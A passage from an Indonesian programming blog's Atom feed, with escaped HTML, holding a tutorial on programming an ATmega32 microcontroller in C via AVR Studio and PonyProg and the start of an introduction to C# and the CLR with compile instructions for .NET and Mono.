href="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ9eTWmBUI/AAAAAAAAAC4/2kWb81H0bJ8/s1600-h/avr2.JPG"&gt;&lt;img alt="" src="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ9eTWmBUI/AAAAAAAAAC4/2kWb81H0bJ8/s320/avr2.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;4. Pilih Debug Platform:AVR Simulator dan ATmega32 pada Device.       &lt;br /&gt;5. Klik Finish       &lt;br /&gt;6. Klik Project &amp;#8211; Configuration Option       &lt;br /&gt;&lt;a href="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ9oQeIR-I/AAAAAAAAADA/0MTEyatjAdI/s1600-h/avr3.JPG"&gt;&lt;img alt="" src="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ9oQeIR-I/AAAAAAAAADA/0MTEyatjAdI/s320/avr3.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;7. Pilih opsi seperti gambar diatas. Frequency diisi dengan 11059200 hz. Optimization pilih O0 (tanpa optimasi).       &lt;br /&gt;8. Klik Ok       &lt;br /&gt;9. Sekarang anda telah siap untuk menuliskan source codenya:       &lt;br /&gt;&lt;a href="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ90ABvgHI/AAAAAAAAADI/mdEGXlu1NNw/s1600-h/avr4.JPG"&gt;&lt;img alt="" src="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ90ABvgHI/AAAAAAAAADI/mdEGXlu1NNw/s320/avr4.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;10. Isi source code dengan:       &lt;br /&gt;#include &amp;lt; avr/io.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/interrupt.h &amp;gt;       &lt;br /&gt;#include &amp;lt; inttypes.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/iom32.h &amp;gt;       &lt;br /&gt;#include &amp;lt; stdio.h &amp;gt;       &lt;br /&gt;#include &amp;lt; math.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/pgmspace.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/eeprom.h &amp;gt;       &lt;br /&gt;#include &amp;lt; avr/wdt.h &amp;gt;       &lt;br /&gt;int main(void)       &lt;br /&gt;{       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;PORTC=0x01;       &lt;br /&gt;while (1);       &lt;br /&gt;}       &lt;br /&gt;Gunakan source code diatas sebagai tempate apabila anda akan membuat software pada platform ATMEGA32. Memang saat ini tidak semua header pada include dipergunakan, tetapi tidak masalah apabila dimasukkan sebagai template.       &lt;br /&gt;Pada bahasa C, awal eksekusi adalah pada fungsi main(void), fungsi dari masing-masing perintah tersebut adalah:       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;Berfungsi untuk memberitahu ATMEGA32 bahwa PORTC akan dipakai untuk OUTPUT. Silahkan baca datasheet ATMEGA32 mengenai DDR (Data Direction Register)       &lt;br /&gt;PORTC=0x01;       &lt;br /&gt;Adalah perintah untuk memprogram PORTC agar berisi 01 hexa (00000001 biner).       &lt;br /&gt;while (1);       &lt;br /&gt;Adalah perintah looping tak berakhir, maksudnya, setelah 2 perintah tersebut dijalankan, sistem akan diam disini.       &lt;br /&gt;11. Klik Build &amp;#8211; Rebuild all       &lt;br /&gt;Apabila dibagian bawah tertulis Build succeded with 0 warnings... berarti proses kompilasi berhasil. Sekarang mari kita isikan hasil kompilasi tersebut ke IC ATMEGA32       &lt;br /&gt;12. Siapkan kabel programmer yang sudah dibuat, colokkan ke Paralel Port       &lt;br /&gt;13. Sambungkan ujung yang lain kabel programmer yang dipasang header 6 pin ke pin 6 &amp;#8211; 9 pada ATMEGA32       &lt;br /&gt;14. Jalankan software PonyProg       &lt;br /&gt;15. Pilih AVRMicro dan ATMEGA32 pada sebelah kanan atas software ponyprog       &lt;br /&gt;16. Pilih Setup-Interface setup dan ikuti setting dibawah:       &lt;br /&gt;&lt;a href="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ-2LWnlwI/AAAAAAAAADQ/-rD_yKop3JM/s1600-h/pony1.JPG"&gt;&lt;img alt="" src="http://bp3.blogger.com/_VlzoWkg0NHM/SJZ-2LWnlwI/AAAAAAAAADQ/-rD_yKop3JM/s320/pony1.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;17. Klik Probe, jika jawabannya Ok, berarti sambungan kabel benar.       &lt;br /&gt;18. Klik Setup-Callibration, kemudian Ok (hanya jalankan pada pertama kali merun ponyprog saja)       &lt;br /&gt;19. Klik File &amp;#8211; Open Program, kemudian cari file hex pada folder My Documents\testpertama\default       &lt;br /&gt;20. Klik Command-Write Program, sampai muncul pesan bahwa pemrograman sukses. Jika pemrograman gagal, cek kembali hubungan kabel.       &lt;br /&gt;21. Klik Command-Security and Configuration Bit       &lt;br /&gt;.       &lt;br /&gt;&lt;a href="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ_BiILIUI/AAAAAAAAADY/do-jfkVVpGo/s1600-h/pony2.JPG"&gt;&lt;img alt="" src="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ_BiILIUI/AAAAAAAAADY/do-jfkVVpGo/s320/pony2.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;22. Sesuaikan dengan gambar diatas, klik pada BODLEVEL, BODEN dan CKOPT       &lt;br /&gt;23. Klik Write       &lt;br /&gt;22. Klik Ok, coba reset mikrokontroller dengan memutus dan menyambungkan kembali power supply.       &lt;br /&gt;23. Lihat apakah led yang terhubung ke pin 23 dan 24 menyala dan led yang terhubung ke pin 22 mati. Jika ya, berarti anda sudah sukses memprogram ATMEGA32 dengan bahasa C! Kenapa hanya 2 led yang menyala padahal port C diisi angka 1? Silahkan pelajari source code dan rangkaiannya.       &lt;br /&gt;Sekarang, mari kita buat agar LED tersebut menyala bergantian.       &lt;br /&gt;Tambahkan pada program satu buah fungsi delay, sehingga program menjadi:       &lt;br /&gt;.       &lt;br /&gt;.       &lt;br /&gt;.       &lt;br /&gt;void tunggu(unsigned int dx)       &lt;br /&gt;{       &lt;br /&gt;unsigned int x;       &lt;br /&gt;unsigned int y;       &lt;br /&gt;for(x=0;x&amp;lt; 500;x++)       &lt;br /&gt;{       &lt;br /&gt;for(y=0;y&amp;lt; dx;y++) {}       &lt;br /&gt;}       &lt;br /&gt;}       &lt;br /&gt;int main(void)       &lt;br /&gt;{       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;while (1)       &lt;br /&gt;{       &lt;br /&gt;PORTC=0x06;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;PORTC=0x05;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;PORTC=0x03;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;}       &lt;br /&gt;}       &lt;br /&gt;Coba dicompile dan dimasukkan ke mikro nya, apakah benar lednya menyala bergantian?       &lt;br /&gt;Pengembangan lebih lanjut:       &lt;br /&gt;1. Output port C dihubungkan dengan 8 buah lampu 220 Volt melalui isolasi optis yang dibahas pada posting mengenai isolasi optis.       &lt;br /&gt;2. Buat program yang membuat ke 8 lampu tersebut menyala bergantian.       &lt;br /&gt;atau       &lt;br /&gt;Anda dapat juga membuat alat pencegah maling seperti yang terdapat pada posting saya di bagian isolasi optis.&lt;/p&gt;    &lt;p align="justify"&gt;source : &lt;a href="http://awasnyetrum.blogspot.com/2008/08/dasarmikrokontroller-atmel-avr-8-bit.html" target="_blank"&gt;awasnyetrum.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt;   &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:ee44cc8f-a00e-4244-b79c-aa4563c0ef15" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/mikrokontroller" rel="tag"&gt;mikrokontroller&lt;/a&gt;,&lt;a href="http://technorati.com/tags/atmel" rel="tag"&gt;atmel&lt;/a&gt;,&lt;a href="http://technorati.com/tags/c" rel="tag"&gt;c&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2410097445932936871?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2410097445932936871/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2410097445932936871&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2410097445932936871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2410097445932936871'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/dasarmikrokontroller-atmel-avr-8-bit.html' title='Dasar:Mikrokontroller Atmel AVR 8 bit'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_VlzoWkg0NHM/SJZ8kIjNgnI/AAAAAAAAACY/hNbfWAkDi2U/s72-c/ponyprog_sch.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-3657558745505507844</id><published>2008-08-21T20:05:00.001+07:00</published><updated>2008-08-21T20:05:21.520+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Berkenalan Dengan C# dan CLR</title><content type='html'>&lt;p align="justify"&gt;&lt;strong&gt;Pendahuluan&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;C# (dibaca &amp;#8220;C Sharp&amp;#8221;) merupakan bahasa pemrograman modern yang berorientasi objek.&amp;#160; Secara sintaks C# mirip dengan bahasa-bahasa keluarga C seperti C, C++, dan Java.&amp;#160; C# menggabungkan produktifitas dan kemudahan yang ada di Visual Basic dengan kemampuan dan fleksibilitas yang ada di C++, dan menambahkan hal-hal baru yang tidak ada di Java. Perancang utamanya adalah Anders Hejlsberg dari Microsoft, yang dulunya membuat Turbo Pascal dan berperan dalam pengembangan bahasa Delphi dan IDE Borland Delphi.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Bahasa ini telah diserahkan oleh Microsoft ke badan standar internasional &lt;a href="http://www.ecma-international.org/"&gt;ECMA&lt;/a&gt;.&amp;#160; Proses standarisasinya selesai pada Desember 2001 dengan nama standarnya &lt;a href="http://www.ecma-international.org/publications/standards/ecma-334.htm"&gt;ECMA-334&lt;/a&gt;.&amp;#160; Dengan standar tersebut, siapapun dapat dengan mudah dan bebas membuat implementasi bahasa C#.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Hello, World!!!&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Mungkin cara yang paling baik untuk mengenal suatu bahasa adalah dengan melihat contoh programnya.&amp;#160; Inilah program &amp;#8220;Hello World&amp;#8221; yang dibuat dengan C#:&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;pre&gt;// Contoh001&lt;br /&gt;&lt;br /&gt;class Halo&lt;br /&gt;{&lt;br /&gt;	static void Main()&lt;br /&gt;	{&lt;br /&gt;		System.Console.WriteLine(&amp;quot;Halo, dunia!!!&amp;quot;);&lt;br /&gt;	}&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Jika program tersebut dicompile dan dijalankan, maka akan keluar tulisan berikut di layar:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;Halo, dunia!!!&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Menganalisa &amp;#8220;Hello World&amp;#8221;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Cara mengcompile dan menjalankan program &amp;#8220;Hello World&amp;#8221; akan dibahas di akhir tutorial ini.&amp;#160; Sebelumnya, kita akan menganalisa program di atas sedikit demi sedikit.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;// Contoh001&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Baris tersebut merupakan comment satu baris.&amp;#160; Comment satu baris diawali dengan &lt;strong&gt;//&lt;/strong&gt; dan berakhir di baris yang bersangkutan.&amp;#160; Comment tidak akan mempengaruhi jalannya program, walaupun begitu comment merupakan alat yang handal untuk dokumentasi dan penulisan catatan-catatan saat kita membuat program.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Lalu perhatikan baris berikut (baris sebelumnya sengaja dilompati):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;static void Main()&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Baris di atas mendeklarasikan suatu method yang bernama &lt;strong&gt;Main() &lt;/strong&gt;(di beberapa bahasa pemrograman lain, method disebut fungsi atau subroutine). Setiap program C# harus memiliki method ini. Method &lt;strong&gt;Main() &lt;/strong&gt;adalah pintu masuk program anda, yang berarti bahwa method ini akan dipanggil saat program dijalankan.&amp;#160; Isi atau tubuh method harus diawali dengan &lt;strong&gt;{ &lt;/strong&gt;(kurung kurawal buka) dan diakhiri dengan } (kurung kurawal tutup).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;C# merupakan bahasa yang &amp;#8220;case sensitive&amp;#8221;, jadi method yang bernama &lt;strong&gt;Main()&lt;/strong&gt; (m huruf besar) berbeda dengan method yang bernama &lt;strong&gt;main()&lt;/strong&gt; (m huruf kecil).&amp;#160; Kita bisa melihat bahwa C# meninggalkan adat istiadat keluarga C yang menggunakan method &lt;strong&gt;main()&lt;/strong&gt; (m huruf kecil) sebagai pintu masuk program.&amp;#160; Hal ini dilakukan agar C# konsisten dengan salah satu panduan penamaan modern yaitu mengawali nama method dengan huruf besar.&amp;#160; Untuk sementara, &lt;strong&gt;static&lt;/strong&gt; dan &lt;strong&gt;void&lt;/strong&gt; tidak akan dibahas.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Kita bisa lihat bahwa method &lt;strong&gt;Main()&lt;/strong&gt; berada di dalam class yang bernama &lt;strong&gt;Halo&lt;/strong&gt;, dengan deklarasi sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;class Halo&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Class merupakan salah satu unit enkapsulasi di C#.&amp;#160; Maksudnya, class digunakan untuk mengelompokkan data-data dan method-method yang saling berhubungan.&amp;#160; Tubuh class dibatasi dengan { dan }.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Di dalam C#, method harus berada di dalam unit enkapsulasi, contohnya class.&amp;#160; Dalam Contoh001, method &lt;strong&gt;Main()&lt;/strong&gt; berada di dalam &lt;strong&gt;class&lt;/strong&gt; &lt;strong&gt;Halo&lt;/strong&gt;.&amp;#160; Ini adalah aturan baru bagi programmer C dan C++, tetapi bukanlah hal yang asing bagi programmer Java.&amp;#160; Kita bebas menentukan nama class yang memuat method &lt;strong&gt;Main()&lt;/strong&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Aktivitas utama program kita terletak di baris berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;System.Console.WriteLine(&amp;quot;Halo, dunia!!!&amp;quot;);&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Saat program dijalankan, baris tersebut menyebabkan keluarnya tulisan &amp;#8220;Halo, dunia!!!&amp;#8221; yang diikuti baris baru.&amp;#160; Hal tersebut dilaksanakan oleh method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Method &lt;strong&gt;WriteLine() &lt;/strong&gt;tersebut berada di dalam class yang bernama &lt;strong&gt;Console &lt;/strong&gt;(sebagaimana method &lt;strong&gt;Main() &lt;/strong&gt;berada dalam suatu class). Class &lt;strong&gt;Console &lt;/strong&gt;sendiri dikelompokkan ke dalam namespace yang bernama &lt;strong&gt;System&lt;/strong&gt;. Namespace digunakan untuk mengelompokkan class-class dan beberapa elemen bahasa lainnya.&amp;#160; Jadi kita memanggil method &lt;strong&gt;WriteLine() &lt;/strong&gt;dengan menuliskan mulai dari nama namespacenya, class yang memuatnya, sampai ke method itu sendiri. &amp;#194;&amp;#8220;&lt;strong&gt;Halo Dunia!&lt;/strong&gt;&amp;#194;&amp;#8221; dikatakan sebagai argumen bagi method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Class &lt;strong&gt;Console&lt;/strong&gt; merupakan bagian dari BCL (Base Class Library), jadi bisa dipastikan bahwa semua implementasi standar C# memilikinya.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Baris yang barus saja kita bahas biasa disebut dengan statement.&amp;#160; Statement di atas melakukan pemanggilan method, tetapi nanti kita akan melihat bahwa masih banyak jenis-jenis statement lainnya.&amp;#160; Setiap statement di C# harus diakhiri dengan &lt;strong&gt;;&lt;/strong&gt; (titik koma).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Terlalu Panjang?&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Jika kita membuat program console, kita akan banyak memakai method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Pemanggilannya yang cukup panjang seperti pada Contoh001 tentunya akan merepotkan.&amp;#160; Ada cara yang dapat dilakukan untuk menyingkatnya, yaitu sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;// Contoh002&lt;br /&gt;&lt;br /&gt;using System;&lt;br /&gt;&lt;br /&gt;class HaloDanDadah&lt;br /&gt;{&lt;br /&gt;	static void Main()&lt;br /&gt;	{&lt;br /&gt;		Console.WriteLine(&amp;quot;Halo!&amp;quot;);&lt;br /&gt;		Console.WriteLine(&amp;quot;Dadah!&amp;quot;);&lt;br /&gt;	}&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Output programnya adalah sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;Halo!&lt;br /&gt;Dadah!&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Perhatikan statement berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;using System;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Statement tersebut memungkinkan kita untuk menggunakan semua class yang berada di dalam namespace &lt;strong&gt;System&lt;/strong&gt; secara langsung.&amp;#160; Karenanya, pemanggilan terhadap method &lt;strong&gt;WriteLine()&lt;/strong&gt; cukup diawali dengan nama classnya yaitu &lt;strong&gt;Console&lt;/strong&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Di dalam Contoh002 juga jelas terlihat bahwa method &lt;strong&gt;WriteLine()&lt;/strong&gt; mengganti baris setelah menuliskan argumennya.&amp;#160; Oleh karena itu, &amp;#8220;Dadah!&amp;#8221; tertulis di bawah &amp;#8220;Halo!&amp;#8221;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Membuat, Mengcompile, dan Menjalankan Program&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Di bagian ini akan dibahas dua cara, yaitu menggunakan Framework .NET di Windows dan menggunakan Mono di Linux.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Menggunakan Framework .NET di Windows&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Yang pertama kali harus kita lakukan adalah mendownload &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=9B3A2CA6-3647-4070-9F41-A333C6B9181D&amp;amp;displaylang=en"&gt;Microsoft .NET Framework SDK&lt;/a&gt; (106 MB) atau &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=262D25E3-F589-4842-8157-034D1E7CF3A3&amp;amp;displaylang=en"&gt;Microsoft .NET Framework Redistributable&lt;/a&gt; (23 MB).&amp;#160; Ukuran versi SDK jauh lebih besar dari versi redistributablenya, sebab versi SDK memuat dokumentasi, contoh-contoh program, dan tools-tools tambahan yang berguna untuk pengembangan program.&amp;#160; Untuk mencoba program-program di tutorial ini anda dapat menggunakan versi redistributable.&amp;#160; Dokumentasi yang ada di SDK akan menjadi kebutuhan saat anda sudah memulai pemrograman serius menggunakan C#.&amp;#160; Versi SDK hanya akan dapat berjalan di Windows 2000, Windows XP, dan Windows Server 2003.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Setelah menginstall Framework .NET, di dalam folder Windows anda akan terdapat folder yang menyimpan compiler C#.&amp;#160; Contoh foldernya adalah sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Lokasi tepatnya bergantung pada lokasi folder Windows anda dan versi Framework .NET yang anda install.&amp;#160; Compiler C# yang terletak di folder tersebut bernama &lt;strong&gt;csc.exe&lt;/strong&gt;.&amp;#160; Untuk dapat memanggil compiler C# dari folder manapun, pastikan untuk menulis perintah seperti berikut di command prompt (cek dulu lokasi foldernya):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;PATH = %PATH%; C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Setting tersebut hanya akan berlaku dan bertahan pada command prompt yang sedang anda gunakan.&amp;#160; Untuk membuatnya universal dan permanen, tambahkan perintah tersebut ke file &lt;strong&gt;autoexec.bat&lt;/strong&gt;.&amp;#160; Cara lainnya, jika anda menggunakan Windows 2000 atau Windows XP, adalah dengan mengklik kanan &amp;#8220;My Computer&amp;#8221;, memilih &amp;#8220;Properties&amp;#8221;, masuk ke tab &amp;#8220;Advanced&amp;#8221;, dan memilih &amp;#8220;Environment Variables&amp;#8221;.&amp;#160; Di bagian &amp;#8220;System Variables&amp;#8221; terdapat variabel &amp;#8220;Path&amp;#8221;.&amp;#160; Tambahkan folder tempat Framework .NET terinstall ke variable &amp;#8220;Path&amp;#8221; tersebut.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Anda dapat menuliskan program-program C# dengan text editor seperti notepad.&amp;#160; Save source code anda dengan akhiran cs, misalnya contoh002.cs.&amp;#160; Untuk mengcompile program anda, masuklah ke command prompt dan gunakan csc.&amp;#160; Misalnya, untuk mengcompile contoh002.cs digunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;csc contoh002.cs&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Hasil kompilasinya adalah contoh002.exe.&amp;#160; Anda dapat menjalankannya dengan mengetikkan nama filenya, misalnya:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;contoh002&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Menggunakan Mono di Linux&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://www.go-mono.com/"&gt;Mono&lt;/a&gt; merupakan salah satu proyek open source untuk membuat implementasi Framework .NET.&amp;#160; Cara-cara menginstallnya terdapat di website yang bersangkutan.&amp;#160; Setelah Mono terinstall, ketik source code dengan text editor favorit anda dan save dengan akhiran cs.&amp;#160; Untuk mengcompile program anda, gunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;mcs namaprogram.cs&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Untuk menjalankannya, gunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;mono namaprogram.exe&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Terdapat juga Mono untuk Windows.&amp;#160; Silahkan mencobanya jika anda tertarik.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Menggunakan IDE (Integrated Development Environment)&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img height="307" alt="" src="http://awank.web.ugm.ac.id/files/e-book/images/sharpdevelop.gif" width="553" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Selain menggunakan text editor dan command line compiler, kita bisa juga menggunakan beberapa IDE yang telah tersedia.&amp;#160; IDE gratis yang bisa diperoleh contohnya adalah &lt;a href="http://www.icsharpcode.com/OpenSource/SD/Default.aspx"&gt;SharpDevelop&lt;/a&gt; (lihat gambar di atas) dan &lt;a href="http://www.monodevelop.com/"&gt;MonoDevelop&lt;/a&gt;.&amp;#160; IDE komersial yang ada contohnya adalah &lt;a href="http://msdn.microsoft.com/vstudio/"&gt;Microsoft Visual Studio .NET 2003&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;Berkenalan dengan CLR dan Konsep Program Managed&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Program-program C# yang dihasilkan tidaklah terikat dengan hardware maupun operating system tertentu.&amp;#160; Untuk menjalankan suatu program C#, di komputer (atau alat elektronik lain) yang bersangkutan harus tersedia CLR (Common Language Runtime).&amp;#160; Jalannya sebuah program C# akan dikelola sepenuhnya oleh CLR, oleh karena itu program C# dikatakan sebagai program yang managed.&amp;#160; Program-program klasik yang langsung berinteraksi dengan operating system maupun hardware tertentu disebut program unmanaged.&amp;#160; Untuk lebih jelasnya, lihatlah diagram berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img height="201" alt="" src="http://awank.web.ugm.ac.id/files/e-book/images/managed.gif" width="602" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Dengan perantara CLR tersebut, program-program C# menjadi portable.&amp;#160; Misalnya, program C# yang dicompile menggunakan Microsoft .NET Framework dapat langsung dijalankan di Linux asalkan terinstall Mono atau implementasi CLR lainnya.&amp;#160; Mungkin anda sudah bisa menebak bahwa Microsoft .NET Framework dan Mono merupakan beberapa implementasi CLR yang ada.&amp;#160; Beberapa implementasi CLR lainnya contohnya adalah &lt;a href="http://msdn.microsoft.com/vstudio/device/compact.aspx"&gt;Microsoft .NET Compact Framework&lt;/a&gt; (untuk Pocket PC dan handphone), &lt;a href="http://www.gnu.org/projects/dotgnu/"&gt;dotGNU Portable .NET&lt;/a&gt; (untuk Linux), dan &lt;a href="http://www.sscli.net/"&gt;Rotor&lt;/a&gt; (untuk FreeBSD).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Konsep ini sekilas terdengar mirip dengan Java dan JVMnya, namun ada beberapa hal yang membedakan CLR dengan Java.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;CLR merupakan bagian dari standar internasional yang disebut CLI (Common Language Infratructure).&amp;#160; CLI memuat CLR, CIL (Common Intermediate Language, analog dengan Java bytecode), dan BCL (Base Class Library).&amp;#160; Sifat CLR yang merupakan open standard memungkinkan siapa 